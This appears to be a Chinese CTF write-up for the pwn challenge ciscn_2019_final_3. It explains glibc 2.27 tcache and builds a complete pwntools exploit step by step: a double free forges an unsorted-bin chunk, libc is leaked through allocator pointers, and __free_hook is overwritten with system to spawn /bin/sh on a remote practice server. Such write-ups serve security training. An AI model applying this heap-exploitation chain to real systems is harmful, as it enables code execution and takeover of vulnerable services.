linux_pwn(6)--tcache&&double free&&ciscn_2019_final_3

What is tcache

tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找,同时tcache也讲究size匹配,就比如说如果你需要0x30的空间,就算我现在有0x40,或者0x50的空闲块,我都不会去使用,而是会去从top chunk里面分割(当然这是没有unsorted bin的时候),这一点很像fastbin

所以一般题目没有限制大小的话想要泄露libc,就会先malloc多个0x90以上大小的块,然后先free 7个,第8个就会进入到unsorted bin,这个时候再分配一个比0x90小的块,就会从这个unsroted bin里面切割,这个时候这个小块的fd和bk会保留着unsorted bin的链表指针,也就是指回main_arena的值,那么我们show一下基本就可以获得libc地址(当然要算好偏移)

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS                64
static __thread tcache_perthread_struct *tcache = NULL;

tcache_perthread_struct结构体是用来管理tcache链表的。其中的count是一个字节数组(共64个字节,对应64个tcache链表),其中每一个字节表示的是tcache每一个链表中有多少个元素。entries是一个指针数组(共64个元素,对应64个tcache链表,因此 tcache bin中最大为0x400字节),每一个指针指向的是对应tcache_entry结构体的地址。

tcache与fastbin链表的异同点在于:
tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针
不同的是,tcachebin中的链表指针指向的下一个chunk的mem,fastbin中的链表指针指向的是下一个chunk的chunk

但今天这个题目就比较特别,他限制了大小为0x80,也就是说你正常的话是无法进入unsorted bin里面
这个其实可以说有两种解法
网上普遍用的是tcache的另一个机制,就是如果超过了0x400,就会进入unsorted bin,所以只需要修改大小就好,我第一次也是用这个打的
我现在要讲的是另一种解法,当然也多亏"安全"的tcache

pwn题

这个就不讲了,因为这个题目比较特殊,个人感觉是比较好的题目,出题思路很好,利用也怎么说,要说复杂不复杂,就是感觉好

例题

ciscn_2019_final_3

检查

在这里插入图片描述

代码分析

就两个函数,add delete
在这里插入图片描述

add函数

add没有堆溢出,只是会给你一个指针,这个指针可以确定堆的位置,进而利用double free修改size,同时可以用这个泄露libc地址,但这个想想就复杂
在这里插入图片描述

delete函数

经典的指针没有清空
在这里插入图片描述

准备框架

#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
libc_23_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]


elf_path = "./ciscn_final_3_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
    libc_path = elf.linker.decode().replace("ld", "./libc")
    libc = ELF(libc_path)
else:
    libc_path = ""


if len(sys.argv) > 1:
    remote_ip = "node4.buuoj.cn"
    remote_port = 25715
    io = remote(remote_ip, remote_port)
else:
    if libc_path != "":
        io = process(elf_path, env={"LD_PRELOAD": libc_path})
    else:
        io = process(elf_path)


def debug():
    # 断点设置在c之前就好,查看bss时候要在c后面
    gdbscript = """
    c
    x/5xg $rebase(0x2022A0)
    """
    gdb.attach(io, gdbscript=gdbscript)


def add(index: int, size: int, content: bytes):
    sla(b"choice > ", b"1")
    sla(b"input the index", str(index).encode())
    sla(b"input the size", str(size).encode())
    sla(b"now you can write something", content)



# 没有清空
def free(index: int):
    sla(b"choice > ", b"2")
    sla(b"input the index", str(index).encode())

attack

这里要感谢tcache,2.27版本的libc压根不检查double free,所以我们一上来就可以直接free n次数

add(0, 0x18, b"a")
ru(b"gift :") 
heap_0_addr = int(rld(), 16)) #获得第一个的堆地址
add(1, 0x18, b"b") #这两个用来伪造0xa0大小的unsorted bin
add(2, 0x78, b"c")

0x18+0x78的大小是0x20+0x80=0xa0在unsroted bin范围
同时由于unsorted bin之前讲过,他会去判断下一个块prev_in_use位,所以我们必须要保证可以找到后面的快,所以一定要把大小匹配上
在这里插入图片描述

修改大小为unsorted bin范围

因为我们知道堆地址,可以利用double free把指针改成第一个堆的mem部分,然后就可以刚好修改第二个堆的大小

debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)#估计你都看呆了,直接double free
it()

在这里插入图片描述
下面开始修改fd

debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)#估计你都看呆了,直接double free

add(3, 0x18, p64(heap_0_addr + 0x10)) 
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
it()

我们贴三个图,对应add三次的情况
当第一次add的时候,我们先从单项链表中取出一项
同时把这个fd指针修改了,所以可以看到这个链表变成这样了
在这里插入图片描述
第二次再取了一项,只剩我们最后的目标项
在这里插入图片描述
完美的欺骗
在这里插入图片描述
这里为了防止unsorted bin合并到top chunk,还需要额外来一块

debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))

add(6, 0x18, p64(0))  # 防止合并

it()

在这里插入图片描述

free成unsorted bin

这里我需要把这个a1进入unsorted bin,所以需要free 8次
free 7次
在这里插入图片描述

在这里插入图片描述
free 第8次

debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))

add(6, 0x18, p64(0))  # 防止合并
for i in range(8):
    free(1)
it()

这里有个细节,但我们把这个chunk作为unsortedbin free的时候,会把后面块的prev_inuse清空
在这里插入图片描述

在这里插入图片描述

难点,怎么泄露libc

大家都知道,我们有个unsorted bin之后,就可以malloc一个小块然后show一下就可以获得marene+88的地址,但是这里没有show,只有一个打印当前块的malloc地址
所以我们必须要把块分配到libc上才有可能泄露
但一般来说只有知道libc地址才能分配到libc上
所以这个地方其实是很有难度的
我们需要让这个块的fd被系统自动填成libc地址

那怎么做呢
我单纯的从unsorted bin中malloc一个块,可以让这个块的fd变成libc有关,但一旦我free之后,这个fd会变成0或者指向其他的堆,那么这个肯定是不可以的

那只有这样的方法,我先free掉可能fd会被替换成libc地址的块两次,一旦malloc这个块,这个fd被修改,那么我的链表也被修改,就可以泄露了

之前我们创造a0的时候,可以看到里面有两个块
0x20,0x80
0x20的大小已经被修改成了0xa0,这个free是没有效果的
那么我们可以free0x80的,然后只要先malloc0x20再malloc0x80,就可以自动填充了

debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))

add(6, 0x18, p64(0))  # 防止合并
for i in range(8):
    free(1)
free(2)
free(2)
it()

可以看到进入了tcache,下面就是让他自动填充为libc
在这里插入图片描述

debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))

add(6, 0x18, p64(0))  # 防止合并
for i in range(8):
    free(1)
free(2)
free(2)
add(7, 0x18, b"")
it()

可以看到由于我们的fd刚好本来是用来管理unsorted bin,但结构由于我们tcahe的原因,导致单向链表被修改,下面就malloc两次就可以获得libc地址
在这里插入图片描述

debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))

add(6, 0x18, p64(0))  # 防止合并
for i in range(8):
    free(1)
free(2)
free(2)
add(7, 0x18, b"")
add(8, 0x78, b"")
add(9, 0x78, b"")
ru(b"gift :")
libc_base = int(rld(), 16) + 0x7F2DEB7F2000 - 0x7F2DEBBDDCA0
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
it()

double free free_hook

直接打远程就好

add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))

add(6, 0x18, p64(0))  # 防止合并
for i in range(8):
    free(1)
free(2)
free(2)
add(7, 0x18, b"")
add(8, 0x78, b"")
add(9, 0x78, b"")
ru(b"gift :")
libc_base = int(rld(), 16) + 0x7F2DEB7F2000 - 0x7F2DEBBDDCA0
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]


free(7)
free(7)
free(7)
add(10, 0x18, p64(free_hook_addr))
add(11, 0x18, b"/bin/sh\0")
add(12, 0x18, p64(system_addr))

free(11)
it()

总结

这个题目还是很有意思的,包括你怎么修改大小,已经如果把堆分配到libc上去都是很巧妙的

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值